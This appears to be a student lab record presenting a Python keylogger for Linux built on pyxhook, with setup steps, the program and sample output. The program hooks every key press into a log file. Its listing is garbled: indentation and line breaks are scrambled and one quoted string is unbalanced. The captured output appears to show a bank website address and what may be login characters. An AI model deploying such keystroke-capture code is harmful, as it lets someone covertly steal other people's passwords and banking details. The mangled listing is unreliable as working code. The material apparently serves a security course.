

EXP NO:7

DATE:9/3/24

KEYLOGGERS

Aim: To write a python program to implement keylogger to record keystrokes in Linux.

Algorithm:

- Step 1: Check if python-xlib is installed. If not, type the command: `dnf install python-xlib -y`.
- Step 2: Run the pyxhook file using the command: `python pyxhook.py`.
- Step 3: Create a file named `key.py`.
- Step 4: Run `key.py` to record all keystrokes.
- Step 5: Open the `file.log` file to view all the recorded keystrokes.

Program:

```
import os
import pyxhook

log_file = os.environ.get('pylogger_file', os.path.expanduser('~/.Desktop/file.log'))
cancel_key = ord(os.environ.get('pylogger_cancel', ''')[0])

if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
        pass

def OnKeyPress(event): with
```

```
open(log_file, 'a') as f:  
f.write('{}\n'.format(event.Key))
```

```
new_hook = pyxhook.HookManager()  
new_hook.KeyDown = OnKeyPress
```

```
new_hook.HookKeyboard()  
try:  
    new_hook.start() except KeyboardInterrupt: pass  
except Exception as ex: msg = 'Error while catching  
events:\n{}'.format(ex) with open(log_file, 'a') as f:  
f.write("\n{}".format(msg))
```

Output:

```
w w w  
period h  
d f c b  
a n k  
period c  
o m Return  
3  
0  
0  
9  
1  
2  
3  
Shift_L  
I n  
d i  
a 9
```

0
Sh
ift
_L
dol
lar
percent

Result: To write a python program to implement keylogger to record keystrokes in Linux has been Executed successfully.